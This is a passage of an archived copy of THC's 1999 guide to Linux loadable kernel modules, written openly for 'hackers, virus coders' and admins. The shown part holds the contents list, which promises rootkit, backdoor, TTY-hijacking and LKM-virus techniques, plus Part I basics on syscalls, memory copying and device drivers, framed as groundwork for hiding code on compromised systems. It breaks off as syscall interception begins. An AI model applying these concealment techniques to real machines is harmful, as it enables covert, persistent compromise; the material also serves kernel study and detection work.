Welcome to Linux Support and Sun Help
Search LinuxSupport
From: Subject: (nearly) Complete Linux Loadable Kernel Modules Date: Thu, 5 Jul 2001 14:16:37 +0100 MIME-Version: 1.0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Content-Location: http://packetstorm.securify.com/groups/thc/LKM_HACKING.html X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 (nearly) Complete Linux Loadable Kernel = Modules

(nearly) Complete Linux Loadable Kernel = Modules=20

-the definitive guide for hackers, virus coders and system = administrators-=20

written by pragmatic / THC, version = 1.0
released=20 03/1999

CONTENTS

Introduction

I. Basics
1. What=20 are LKMs
2. What=20 are Syscalls
3. What=20 is the Kernel-Symbol-Table
4. How=20 to transform Kernel to User Space Memory
5. Ways=20 to use user space like functions
6. List=20 of daily needed Kernelspace Functions
7. What=20 is the Kernel-Daemon
8.=20 Creating your own Devices

II. Fun & Profit
1. How=20 to intercept Syscalls
2.=20 Interesting Syscalls to Intercept

2.1=20 Finding interesting systemcalls (the strace approach)
3.=20 Confusing the kernel's System Table
4.=20 Filesystem related Hacks
4.1=20 How to Hide Files
4.2=20 How to hide the file contents (totally)
4.3=20 How to hide certain file parts (a prototype implementation)
4.4=20 How to monitor redirect file operations
4.5=20 How to avoid any file owner problems
4.6=20 How to make a hacker-tools-directory unaccessible
4.7=20 How to change CHROOT Environments
5.=20 Process related Hacks
5.1=20 How to hide any process
5.2=20 How to redirect Execution of files
6.=20 Network (Socket) related Hacks
6.1=20 How to controll Socket Operations
7. Ways=20 to TTY Hijacking
8.=20 Virus writing with LKMs
8.1=20 How a LKM virus can infect any file (not just modules; = prototype)
8.2=20 How can a LKM virus help us to get in
9.=20 Making our LKM invisible & unremovable
10.Other=20 ways of abusing the Kerneldaemon
11.How=20 to check for presents of our LKM

III. Soltutions (for admins)
1. LKM=20 Detector Theory & Ideas

1.1=20 Practical Example of a prototype Detector
1.2=20 Practical Example of a prototype password protected = create_module(...)
2.=20 Anti-LKM-Infector ideas
3 Make=20 your programs untraceable (theory)
3.1=20 Practical Example of a prototype Anti-Tracer
4.=20 Hardening the Linux Kernel with LKMs
4.1=20 Why should we allow arbitrary programs execution rights? (route's idea = from=20 Phrack implemented as LKM)
4.2=20 The Link Patch (Solar Designer's idea from Phrack implemented as = LKM)
4.3=20 The /proc permission patch (route's idea from Phrack implemented as = LKM)
4.4=20 The securelevel patch (route's idea from Phrack implemented as = LKM)
4.5=20 The rawdisk patch

IV. Some Better Ideas (for hackers)
1.=20 Tricks to beat admin LKMs
2.=20 Patching the whole kernel - or creating the Hacker-OS

2.1=20 How to find kernel symbols in /dev/kmem
2.2=20 The new 'insmod' working without kernel support
3. Last=20 words

V. The near future : Kernel 2.2
1. Main=20 Difference for LKM writer's

VI. Last Words
1. The=20 'LKM story' or 'how to make a system plug & hack = compatible'
2.=20 Links to other Resources

Acknowledgements

Greets

Appendix

A - Source Codes

= a)=20 LKM Infection by Stealthf0rk/SVAT
= b)=20 Heroin - the classic one by Runar Jensen
= c)=20 LKM Hider / Socket Backdoor by plaguez
= d)=20 LKM TTY hijacking by halflife
= e)=20 AFHRM - the monitor tool by Michal Zalewski
= f)=20 CHROOT module trick by FLoW/HISPAHACK
= g)=20 Kernel Memory Patching by ?
= h)=20 Module insertion without native support by Silvio Cesare


Introduction

The use of Linux in server environments is growing from second to = second. So=20 hacking Linux becomes more interesting every day. One of the best = techniques to=20 attack a Linux system is using kernel code. Due to its feature called = Loadable=20 Kernel Modules (LKMs) it is possible to write code running in kernel = space,=20 which allows us to access very sensitive parts of the OS. There were = some texts=20 and files concerning LKM hacking before (Phrack, for example) which were = very=20 good. They introduced new ideas, new methodes and complete LKMs doing = anything a=20 hacker ever dreamed of. Also some public discussion (Newsgroups, = Mailinglists)=20 in 1998 were very interesting.
So why do I write again a text about = LKMs.=20 Well there are several reasons :=20

  • former texts did sometimes not give good explanations for kernel=20 beginners; this text has a very big basic section, helping beginners = to=20 understand the concepts. I met lots of people using nice = exploits/sniffers and=20 so on without even understanding how they work. I included lots of = source code=20 in this file with lots of comments, just to help those beginners who = know that=20 hacking is more than playing havoc on some networks out there !
  • every published text concentrated on a special subject, there was = no=20 complete guide for hackers concerning LKMs. This text will cover = nearly every=20 aspect of kernel abusing (even virus aspects)
  • this texts was written from the hacker / virus coder perspective, = but it=20 will also help admins and normal kernel developers doing a better = job
  • former text showed us the main advantages / methods of abusing = LKMs, but=20 there are some things which we have not heard of yet. This text will = show some=20 new ideas (nothing totally new, but things which could help us)
  • this text will show concepts of some simple ways to protect from = LKM=20 attacks
  • this text will also show how to defeat LKM protections by using = methods=20 like Runtime Kernel Patching
Please remember that new = ideas are=20 implemented as prototype modules (just for demonstration) which have to = be=20 improved in order to use them in the wild.
The main motivation of = this text=20 is giving everyone one big text covering the whole LKM problem. = In=20 appendix A I give you some existing LKMs plus a short description of = their=20 working (for beginners) and ways to use them.
The whole text (except = part V)=20 is based on a Linux 2.0.x machine (x86).I tested all programs and code=20 fragments. The Linux system must have LKM support for using most code = examples=20 in this text. Only part IV will show some sources working without native = LKM=20 support. Most ideas in this text will also work on 2.2.x systems = (perhaps you'll=20 need some minor modification); but recall that kernel 2.2.x was just = released=20 (1/99) and most linux distribution still use 2.0.x (Redhat, SuSE, = Caldera, ...).=20 In April some some distributors like SuSE will present their kernel = 2.2.x=20 versions; so you won't need to know how to hack a 2.2.x kernel at the = moment.=20 Good administrators will also wait some months in order to get a more = reliable=20 2.2.x kernel. [Note : Most systems just don't need kernel 2.2.x so they = will=20 continue using 2.0.x].
This text has a special section dealing with = LKMs=20 helping admins to secure the system. You (hacker) should also read this = section,=20 you must know everything the admins know and even more. You will = also get=20 some nice ideas from that section that could help you develope more = advanced=20 'hacker-LKMs'. Just read the whole text !
And please = remember :=20 This text was only written for educational purpose. Any illegal action = based on=20 this text is your own problem.

I. Basics

1. What are LKMs

LKMs are Loadable Kernel = Modules used=20 by the Linux kernel to expand his functionality. The advantage of those = LKMs :=20 The can be loaded dynamically; there must be no recompilation of = the=20 whole kernel. Because of those features they are often used for specific = device=20 drivers (or filesystems) such as soundcards etc.
Every LKM consist of = two=20 basic functions (minimum) : int init_module(void) /*used for all = initialition stuff*/ { ... } void cleanup_module(void) /*used for a clean shutdown*/ { ... } Loading a module - normally retricted to root - is managed by = issuing the=20 follwing command: # insmod module.o This command forces the System to do the following things :=20
  • Load the objectfile (here module.o)
  • call create_module systemcall (for systemcalls -> see I.2) for=20 Relocation of memory
  • unresolved references are resolved by Kernel-Symbols with the = systemcall=20 get_kernel_syms
  • after this the init_module systemcall is used for the LKM = initialisation=20 -> executing int init_module(void) etc.
The = Kernel-Symbols are=20 explained in I.3 (Kernel-Symbol-Table).
So I think we can write our = first=20 little LKM just showing how it basicly works: #define MODULE #include <Linux/module.h> int init_module(void) { printk("<1>Hello World\n"); return 0; } void cleanup_module(void) { printk("<1>Bye, Bye"); } You may wonder why I used printk(...) not printf(...). Well=20 Kernel-Programming is totally different from = Userspace-Programming=20 !
You only have a very restricted set of commands (see I.6). With = those=20 commands you cannot do much, so you will learn how to use lots of = functions you=20 know from your userspace applications helping you hacking the kernel. = Just be=20 patient, we have to do something else before...
The Example above can = easily=20 compiled by # gcc -c -O3 helloworld.c # insmod helloworld.o Ok, our module is loaded and showed us the famous text. Now you = can check=20 some commands showing you that your LKM really stays in kernel = space.
# lsmod Module Pages Used by helloworld 1 0 This command reads the information in /proc/modules for showing = you which=20 modules are loaded at the moment. 'Pages' is the memory information (how = many=20 pages does this module fill); the 'Used by' field tells us how often the = module=20 is used in the System (reference count). The module can only be removed, = when=20 this counter is zero; after checking this, you can remove your module = with # rmmod helloworld Ok, this was our first little (very little) step towards abusing = LKMs. I=20 always compared those LKMs to old DOS TSR Programs (yes there are many=20 differences, I know), they were our gate to staying resident in memory = and=20 catching every interrupt we wanted. Microsoft's WIN 9x has something = called VxD,=20 which is also similar to LKMs (also many differences). The most = interesting part=20 of those resident programs is the ability to hook system functions, in = the Linux=20 world called systemcalls.

2. What are systemcalls

I hope you know, that = every OS=20 has some functions build into its kernel, which are used for every = operation on=20 that system.
The functions Linux uses are called systemcalls. They = represent=20 a transition from user to kernel space. Opening a file in user space is=20 represented by the sys_open systemcall in kernel space. For a complete = list of=20 all systemcalls available on your System look at = /usr/include/sys/syscall.h. The=20 following list shows my syscall.h #ifndef _SYS_SYSCALL_H #define _SYS_SYSCALL_H #define SYS_setup 0 /* Used only by init, to get system going. */ #define SYS_exit 1 #define SYS_fork 2 #define SYS_read 3 #define SYS_write 4 #define SYS_open 5 #define SYS_close 6 #define SYS_waitpid 7 #define SYS_creat 8 #define SYS_link 9 #define SYS_unlink 10 #define SYS_execve 11 #define SYS_chdir 12 #define SYS_time 13 #define SYS_prev_mknod 14 #define SYS_chmod 15 #define SYS_chown 16 #define SYS_break 17 #define SYS_oldstat 18 #define SYS_lseek 19 #define SYS_getpid 20 #define SYS_mount 21 #define SYS_umount 22 #define SYS_setuid 23 #define SYS_getuid 24 #define SYS_stime 25 #define SYS_ptrace 26 #define SYS_alarm 27 #define SYS_oldfstat 28 #define SYS_pause 29 #define SYS_utime 30 #define SYS_stty 31 #define SYS_gtty 32 #define SYS_access 33 #define SYS_nice 34 #define SYS_ftime 35 #define SYS_sync 36 #define SYS_kill 37 #define SYS_rename 38 #define SYS_mkdir 39 #define SYS_rmdir 40 #define SYS_dup 41 #define SYS_pipe 42 #define SYS_times 43 #define SYS_prof 44 #define SYS_brk 45 #define SYS_setgid 46 #define SYS_getgid 47 #define SYS_signal 48 #define SYS_geteuid 49 #define SYS_getegid 50 #define SYS_acct 51 #define SYS_phys 52 #define SYS_lock 53 #define SYS_ioctl 54 #define SYS_fcntl 55 #define SYS_mpx 56 #define SYS_setpgid 57 #define SYS_ulimit 58 #define SYS_oldolduname 59 #define SYS_umask 60 #define SYS_chroot 61 #define SYS_prev_ustat 62 #define SYS_dup2 63 #define SYS_getppid 64 #define SYS_getpgrp 65 #define SYS_setsid 66 #define SYS_sigaction 67 #define SYS_siggetmask 68 #define SYS_sigsetmask 69 #define SYS_setreuid 70 #define SYS_setregid 71 #define SYS_sigsuspend 72 #define SYS_sigpending 73 #define SYS_sethostname 74 #define SYS_setrlimit 75 #define SYS_getrlimit 76 #define SYS_getrusage 77 #define SYS_gettimeofday 78 #define SYS_settimeofday 79 #define SYS_getgroups 80 #define SYS_setgroups 81 #define SYS_select 82 #define SYS_symlink 83 #define SYS_oldlstat 84 #define SYS_readlink 85 #define SYS_uselib 86 #define SYS_swapon 87 #define SYS_reboot 88 #define SYS_readdir 89 #define SYS_mmap 90 #define SYS_munmap 91 #define SYS_truncate 92 #define SYS_ftruncate 93 #define SYS_fchmod 94 #define SYS_fchown 95 #define SYS_getpriority 96 #define SYS_setpriority 97 #define SYS_profil 98 #define SYS_statfs 99 #define SYS_fstatfs 100 #define SYS_ioperm 101 #define SYS_socketcall 102 #define SYS_klog 103 #define SYS_setitimer 104 #define SYS_getitimer 105 #define SYS_prev_stat 106 #define SYS_prev_lstat 107 #define SYS_prev_fstat 108 #define SYS_olduname 109 #define SYS_iopl 110 #define SYS_vhangup 111 #define SYS_idle 112 #define SYS_vm86old 113 #define SYS_wait4 114 #define SYS_swapoff 115 #define SYS_sysinfo 116 #define SYS_ipc 117 #define SYS_fsync 118 #define SYS_sigreturn 119 #define SYS_clone 120 #define SYS_setdomainname 121 #define SYS_uname 122 #define SYS_modify_ldt 123 #define SYS_adjtimex 124 #define SYS_mprotect 125 #define SYS_sigprocmask 126 #define SYS_create_module 127 #define SYS_init_module 128 #define SYS_delete_module 129 #define SYS_get_kernel_syms 130 #define SYS_quotactl 131 #define SYS_getpgid 132 #define SYS_fchdir 133 #define SYS_bdflush 134 #define SYS_sysfs 135 #define SYS_personality 136 #define SYS_afs_syscall 137 /* Syscall for Andrew File System */ #define SYS_setfsuid 138 #define SYS_setfsgid 139 #define SYS__llseek 140 #define SYS_getdents 141 #define SYS__newselect 142 #define SYS_flock 143 #define SYS_syscall_flock SYS_flock #define SYS_msync 144 #define SYS_readv 145 #define SYS_syscall_readv SYS_readv #define SYS_writev 146 #define SYS_syscall_writev SYS_writev #define SYS_getsid 147 #define SYS_fdatasync 148 #define SYS__sysctl 149 #define SYS_mlock 150 #define SYS_munlock 151 #define SYS_mlockall 152 #define SYS_munlockall 153 #define SYS_sched_setparam 154 #define SYS_sched_getparam 155 #define SYS_sched_setscheduler 156 #define SYS_sched_getscheduler 157 #define SYS_sched_yield 158 #define SYS_sched_get_priority_max 159 #define SYS_sched_get_priority_min 160 #define SYS_sched_rr_get_interval 161 #define SYS_nanosleep 162 #define SYS_mremap 163 #define SYS_setresuid 164 #define SYS_getresuid 165 #define SYS_vm86 166 #define SYS_query_module 167 #define SYS_poll 168 #define SYS_syscall_poll SYS_poll #endif /* <sys/syscall.h> */ Every systemcall has a defined number (see listing above), which = is=20 actually used to make the systemcall.
The Kernel uses interrupt 0x80 = for=20 managing every systemcall. The systemcall number and any arguments are = moved to=20 some registers (eax for systemcall number, for example).
The = systemcall=20 number is an index in an array of a kernel structure called = sys_call_table[].=20 This structure maps the systemcall numbers to the needed service=20 function.
Ok, this should be enough knowledge to continue reading. = The=20 following table lists the most interesting systemcalls plus a short = description.=20 Believe me, you have to know the exact working of those systemcalls in = order to=20 make really useful LKMs.
systemcall description
int sys_brk(unsigned long new_brk); changes the size of used DS (data segment) ->this systemcall = will=20 be discussed in I.4
int sys_fork(struct pt_regs regs); systemcall for the well-know fork() function in user = space
int sys_getuid ()
int sys_setuid (uid_t uid)
...
systemcalls for managing UID etc.
int sys_get_kernel_sysms(struct kernel_sym *table) systemcall for accessing the kernel system table (-> = I.3)
int sys_sethostname (char *name, int len);
int = sys_gethostname=20 (char *name, int len);
sys_sethostname is responsible for setting the hostname, and=20 sys_gethostname for retrieving it
int sys_chdir (const char *path);
int sys_fchdir (unsigned = int=20 fd);
both function are used for setting the current directory (cd=20 ...)
int sys_chmod (const char *filename, mode_t mode);
int = sys_chown=20 (const char *filename, mode_t mode);
int sys_fchmod (unsigned = int=20 fildes, mode_t mode);
int sys_fchown (unsigned int fildes, = mode_t=20 mode);
functions for managing permissions and so on
int sys_chroot (const char *filename); sets root directory for calling process
int sys_execve (struct pt_regs regs); important systemcall -> it is responsible for executing file=20 (pt_regs is the register stack)
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long = arg); changing characteristics of fd (opened file descr.)
int sys_link (const char *oldname, const char *newname);
int=20 sym_link (const char *oldname, const char *newname);
int = sys_unlink=20 (const char *name);
systemcalls for hard- / softlinks management
int sys_rename (const char *oldname, const char *newname); file renaming
int sys_rmdir (const char* name);
int sys_mkdir (const *char=20 filename, int mode);
creating & removing directories
int sys_open (const char *filename, int mode);
int sys_close=20 (unsigned int fd);
everything concering opening files (also creation), and also = closing=20 them
int sys_read (unsigned int fd, char *buf, unsigned int = count);
int=20 sys_write (unsigned int fd, char *buf, unsigned int = count);
systemcalls for writing & reading from Files
int sys_getdents (unsigned int fd, struct dirent *dirent, = unsigned int=20 count); systemcall which retrievs file listing (ls ... command) =
int sys_readlink (const char *path, char *buf, int = bufsize); reading symbolic links
int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, = struct=20 timeval *tvp); multiplexing of I/O operations
sys_socketcall (int call, unsigned long args); socket functions
unsigned long sys_create_module (char *name, unsigned long=20 size);
int sys_delete_module (char *name);
int = sys_query_module=20 (const char *name, int which, void *buf, size_t bufsize, size_t=20 *ret);
used for loading / unloading LKMs and = querying
In=20 my opinion these are the most interesting systemcalls for any hacking = intention,=20 of course it is possible that you may need something special on your = rooted=20 system, but the average hacker has a plenty of possibilities with the = listing=20 above. In part II you will learn how to use the systemcalls for your = profit.=20

3. What is the Kernel-Symbol-Table

Ok, we = understand=20 the basic concept of systemcalls and modules. But there is another very=20 important point we need to understand - the Kernel Symbol Table. Take a = look at=20 /proc/ksyms. Every entry in this file represents an exported (public) = Kernel=20 Symbol, which can be accessed by our LKM. Take a deep look in that file, = you=20 will find many interesting things in it.
This file is really very=20 interesting, and can help us to see what our LKM can get; but there is = one=20 problem. Every Symbol used in our LKM (like a function) is also exportet = to the=20 public, and is also listed in that file. So an experienced admin could = discover=20 our little LKM and kill it.
There are lots of methods to prevent the = admin=20 from seeing our LKM, look at section II.
The methods mentioned in II = can be=20 called 'Hacks', but when you take a look at the contents of section II = you won't=20 find any reference to 'Keeping LKM Symbols out of /proc/ksyms'. The = reason for=20 not mentioning this problem in II is the following :
you won't need a = trick=20 to keep your module symbols away from /proc/ksyms. LKM devolopers are = able to=20 use the following piece of regular code to limit the exported symbols of = their=20 module:
static struct symbol_table module_syms= { /*we define = our own symbol table !*/ #include <linux/symtab_begin.h> /*symbols we want to export, = do we ?*/ ... =20 }; register_symtab(&module_syms); /*do the actual registration*/ As I said, we don't want to export any symbols to the public, so = we use=20 the following construction : register_symtab(NULL); This line must be inserted in the init_module() function, remember = this !=20

4. How to transform Kernel to User Space Memory =

Till=20 now this essay was very very basic and easy. Now we come to stuff more = difficult=20 (but not more advanced).
We have many advantages because of coding in = kernel=20 space, but we also have some disadvantages. systemcalls get their = arguments from=20 user space (systemcalls are implemented in wrappers like libc), but our = LKM runs=20 in kernel space. In section II you will see that it is very important = for us to=20 check the arguments of certain systemcalls in order to act the right = way. But=20 how can we access an argument allocated in user space from our kernel = space=20 module ?
Solution : We have to make a = transition.
This may=20 sound a bit strange for non-kernel-hackers, but is really easy. Take the = following systemcall :
int sys_chdir (const char *path) Imagine the system calling it, and we intercept that call (we will = learn=20 this in section II). We want to check the path the user wants to set, so = we have=20 to access const char *path. If you try to access the path variable = directly like=20 printk("<1>%s\n", path); you will get real problems...
Remember you are in kernel = space,=20 you cannot read user space memory easily. Well in Phrack 52 you = get a=20 solution by plaguez, which is specialized for strings He uses a kernel = mode=20 function (macro) for retrieving user space memory bytes : #include = <asm/segment.h> get_user(pointer); Giving this function a pointer to our *path location helps ous = getting the=20 bytes from user space memory to kernel space. Look at the implemtation = made by=20 plaguez for moving strings from user to kernel space:
char = *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } If we want to convert our *path variable we can use the following = piece of=20 kernel code : char *kernel_space_path; kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating = memory=20 in kernel = space*/ (void) strncpy_fromfs(test, path, 20); /*calling = plaguez's=20 function*/ printk("<1>%s\n", kernel_space_path); /*now we can use the data for = whatever we want*/ kfree(test); /*remember = freeing the memory*/ The code above works very fine. For a general transition it is too = complicated; plaguez used it only for strings (the functions is made = only for=20 string copies). For normal data transitions the following function is = the=20 easiest way of doing: #include <asm/segment.h> void memcpy_fromfs(void *to, const void *from, unsigned long count); Both functions are obviously based on the same kind of commands, = but the=20 second one is nearly the same as plaguez's newly defined function. I = would=20 recommand using memcpy_fromfs(...) for general data transitions and = plaguez's=20 one for string copying tasks.
Now we know how to convert from = user=20 space memory to kernel space. But what about the other direction = ? This=20 is a bit harder, because we cannot easily allocate user space memory = from our=20 kernel space position. If we could manage this problem we could = use
#include <asm/segment.h> void memcpy_tofs(void *to, const void *from, unsigned long count); doing the actual converting. But how to allocate user space for = the *to=20 pointer? plaguez's Phrack essay gives us the best solution : /*we = need brk systemcall*/ static inline _syscall1(int, brk, void *, end_data_segment); ... int ret, tmp; char *truc = OLDEXEC; char *nouveau = NEWEXEC; unsigned long mmm; mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); This is a very nice trick used here. current is a pointer to the = task=20 structure of the current process; mm is the pointer to the mm_struct -=20 responsible for the memory management of that process. By using the=20 brk-systemcall on current-> mm->brk we are able to increase the = size of=20 the unused area of the datasegment. And as we all know allocating memory = is done=20 by playing with the datasegment, so by increasing the unused area size, = we have=20 allocated some piece of memory for the current process. This memory can = be used=20 for copying the kernel space memory to user space (of the current=20 process).
You may wonder about the first line from the code above. = This line=20 helps us to use user space like functions in kernel space.Every user = space=20 function provided to us (like fork, brk, open, read, write, ...) is = represented=20 by a _syscall(...) macro. So we can construct the exact syscall-macro = for a=20 certain user space function (represented by a systemcall); here for=20 brk(...).
See I.5 for a detailed explanation.=20

5. Ways to use user space like functions

As = you saw in=20 I.4 we used a syscall macro for constructing our own brk call, which is = like the=20 one we know from user space (->brk(2)). The truth about the user = space=20 library funtions (not all) is that they all are implemented through such = syscall=20 macros. The following code shows the _syscall1(..) macro used in I.4 to=20 construct the brk(..) function (taken from /asm/unistd.h). =
#define _syscall1(type,name,type1,arg1) \ type name(type1 arg1) \ { \ long __res; \ __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name),"b" ((long)(arg1))); \ if (__res >= 0) \ return (type) __res; \ errno = -__res; \ return -1; \ } You don't need to understand this code in its full function, it = just calls=20 interrupt 0x80 with the arguments provided by the _syscall1 parameters = (->=20 I.2). name stands for the systemcall we need (the name is expanded to = __NR_name,=20 which is defined in /asm/unistd.h). This way we implemted the brk = function.=20 Other functions with a different count of arguments are implemented = through=20 other macros (_syscallX, where X stands for the number of arguments). =
I=20 personally use another way of implementing functions; look at the = following=20 example : int (*open)(char *, int, int); /*declare a prototype*/ open = sys_call_table[SYS_open]; /*you can also use __NR_open*/ This way you don't need to use any syscall macro, you just use the = function pointer from the sys_call_table. While searching the web, I = found that=20 this way of contructing user space like functions is also used in the = famous LKM=20 infector by SVAT. In my opinion this is the better solution, but test it = and=20 judge yourself.
Be careful when supplying arguments for those = systemcalls,=20 they need them in user space not from your kernel space position. Read = I.4 for=20 ways to bring your kernel space data to user space memory.
A very = easy way=20 doing this (the best way in my opinion) is playing with the needed = registers.=20 You have to know that Linux uses segment selectors to differentiate = between=20 kernel space, user space and so on. Arguments used with systemcalls = which were=20 issued from user space are somewhere in the data segment selector (DS) = range. [I=20 did not mention this in I.4,because it fits more in this section.]
DS = can be=20 retrieved by using get_ds() from asm/segment.h. So the data used as = parameters=20 by systemcalls can only be accessed from kernel space if we set the = segment=20 selector used for the user segment by the kernel to the needed DS value. = This=20 can be done by using set_fs(...). But be careful,you have to restore FS = after=20 you accessed the argument of the systemcall. So let's look at a code = fragment=20 showing something useful :
->filename is in our kernel space; a = string we just created, for example unsigned long old_fs_value=get_fs(); set_fs(get_ds); /*after this we can access the user space = data*/ open(filename, O_CREAT|O_RDWR|O_EXCL, 0640); set_fs(old_fs_value); /*restore fs...*/ In my opinion this is the easiet / fastest way of solving the = problem, but=20 test it yourself (again).
Remember that the functions I showed till = now (brk,=20 open) are all implemented through a single systemcall. But there are = also groups=20 of user space functions which are summarized into one systemcall. Take a = look at=20 the listing of interesting systemcalls (I.2); the sys_socketcall, for = example,=20 implements every function concering sockets (creation, closing, sending, = receiving,...). So be careful when constructing your functions; always = take a=20 look at the kernel sources.

6. List of daily needed Kernelspace = Functions

I=20 introduced the printk(..) function in the beginning of this text. It is = a=20 function everyone can use in kernel space, it is a so called kernel = function.=20 Those functions are made for kernel developers who need complex = functions which=20 are normally only available through a library function. The following = listing=20 shows the most important kernel functions we often need :=20
function/macro description
int sprintf (char *buf, const char *fmt, ...);
int vsprintf = (char=20 *buf, const char *fmt, va_list args);
functions for packing data into strings
printk (...) the same as printf in user space
void *memset (void *s, char c, size_t count);
void *memcpy = (void=20 *dest, const void *src, size_t count);
char *bcopy (const char = *src,=20 char *dest, int count);
void *memmove (void *dest, const void = *src,=20 size_t count);
int memcmp (const void *cs, const void *ct, = size_t=20 count);
void *memscan (void *addr, unsigned char c, size_t=20 size);
memory functions
int register_symtab (struct symbol_table *intab); see I.1
char *strcpy (char *dest, const char *src);
char *strncpy = (char=20 *dest, const char *src, size_t count);
char *strcat (char = *dest, const=20 char *src);
char *strncat (char *dest, const char *src, size_t=20 count);
int strcmp (const char *cs, const char *ct);
int = strncmp=20 (const char *cs,const char *ct, size_t count);
char *strchr = (const char=20 *s, char c);
size_t strlen (const char *s);
size_t strnlen = (const=20 char *s, size_t count);
size_t strspn (const char *s, const = char=20 *accept);
char *strpbrk (const char *cs, const char = *ct);
char=20 *strtok (char *s, const char *ct);
string compare functions etc.
unsigned long simple_strtoul (const char *cp, char **endp, = unsigned=20 int base); converting strings to number
get_user_byte (addr);
put_user_byte (x, = addr);
get_user_word=20 (addr);
put_user_word (x, addr);
get_user_long=20 (addr);
put_user_long (x, addr);
functions for accessing user memory
suser();
fsuser();
checking for SuperUser rights
int register_chrdev (unsigned int major, const char *name, = struct=20 file_o perations *fops);
int unregister_chrdev (unsigned int = major,=20 const char *name);
int register_blkdev (unsigned int major, = const char=20 *name, struct file_o perations *fops);
int unregister_blkdev = (unsigned=20 int major, const char *name);
functions which register device driver
..._chrdev -> = character=20 devices
..._blkdev -> block = devices
Please=20 remember that some of those function may also be made available through = the=20 method mentoined in I.5. But you should understand, that it is not very = useful=20 contructing nice user space like functions, when the kernel gives them = to us for=20 free.
Later on you will see that these functions (especially string=20 comaprisons) are very important for our purposes.

7. What is the Kernel-Daemon

Finally we = nearly reached=20 the end of the basic part. Now I will explain the working of the = Kernel-Daemon=20 (/sbin/kerneld). As the name suggest this is a process in user space = waiting for=20 some action. First of all you must know that it is necessary to activite = the=20 kerneld option while building the kernel, in order to use kerneld's = features.=20 Kerneld works the following way : If the kernel wants to access a = resource (in=20 kernel space of course), which is not present at that moment, he does = not=20 produce an error. Instead of doing this he asks kerneld for that = resource. If=20 kerneld is able to provide the resource, it loads the required LKM and = the=20 kernel can continue working. By using this scheme it is possible to load = and=20 unload LKMs only when they are really needed / not needed. It should be = clear=20 that this work needs to be done both in user and in kernel = space.
Kerneld=20 exists in user space. If the kernel requests a new module this daemon = receives a=20 string from the kernel telling it which module to load.It is possible = that the=20 kenel sends a generic name (instead of the name of object file) like = eth0. In=20 this case the system need to lookup /etc/modules.conf for alias lines. = Those=20 lines match generic names to the LKM required on that system.
The = following=20 line says that eth0 is represented by a DEC Tulip driver LKM :
# = /etc/modules.conf # or /etc/conf.modules - this differs alias eth0 tulip This was the user space side represented by the kerneld daemon. = The kernel=20 space part is mainly represented by 4 functions. These functions are all = based=20 on a call to kerneld_send. For the exact way kerneld_send is involved by = calling=20 those functions look at linux/kerneld.h. The following table lists the 4 = functions mentioned above :
function description
int sprintf (char *buf, const char *fmt, ...);
int vsprintf = (char=20 *buf, const char *fmt, va_list args);
functions for packing data into strings
int request_module (const char *name); says kerneld that the kernel requires a certain module (given a = name=20 or gerneric ID / name)
int release_module (const char* name, int waitflag); unload a module
int delayed_release_module (const char *name); delayed unload
int cancel_release_module (const char *name); cancels a call of delayed_release_module
Note : Kernel 2.2 uses another scheme = for=20 requesting modules. Take a look at part V.=20

8. Creating your own Devices

Appendix A = introduces a=20 TTY Hijacking util, which will use a device to log its results. So we = have to=20 look at a very basic example of a device driver. Look at the following = code=20 (this is a very basic driver, I just wrote it for demonstration, it does = implement nearly no operations...) :
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> /*just a dummy for demonstration*/ static int driver_open(struct inode *i, struct file *f) { printk("<1>Open Function\n"); return 0; } /*register every function which will be provided by our driver*/ static struct file_operations fops = { NULL, /*lseek*/ NULL, /*read*/ NULL, /*write*/ NULL, /*readdir*/ NULL, /*select*/ NULL, /*ioctl*/ NULL, /*mmap*/ driver_open, /*open, take a look at my dummy open function*/ NULL, /*release*/ NULL /*fsync...*/ }; int init_module(void) { /*register driver with major 40 and the name driver*/ if(register_chrdev(40, "driver", &fops)) return -EIO; return 0; } void cleanup_module(void) { /*unregister our driver*/ unregister_chrdev(40, "driver"); } The most important important function is register_chrdev(...) = which=20 registers our driver with the major number 40. If you want to access = this=20 driver,do the following : # mknode /dev/driver c 40 0 # insmod driver.o After this you can access that device (but i did not implement any = functions due to lack of time...). The file_operations structure = provides every=20 function (operation) which our driver will provide to the system. As you = can see=20 I did only implement a very (!) basic dummy function just printing = something. It=20 should be clear that you can implement your own devices in a very easy = way by=20 using the methods above. Just do some experiments. If you log some data = (key=20 strokes, for example) you can build a buffer in your driver that exports = its=20 contents through the device interface).

II. Fun & Profit

1. How to intercept Syscalls

Now we start = abusing the=20 LKM scheme. Normally LKMs are used to extend the kernel (especially = hardware=20 drivers). Our 'Hacks' will do something different, they will intercept=20 systemcalls and modify them in order to change the way the system reacts = on=20 certain commands.
The following module makes it impossible for any = user on=20 the compromised system to create directories. This is just a little=20 demonstration to show the way we follow.
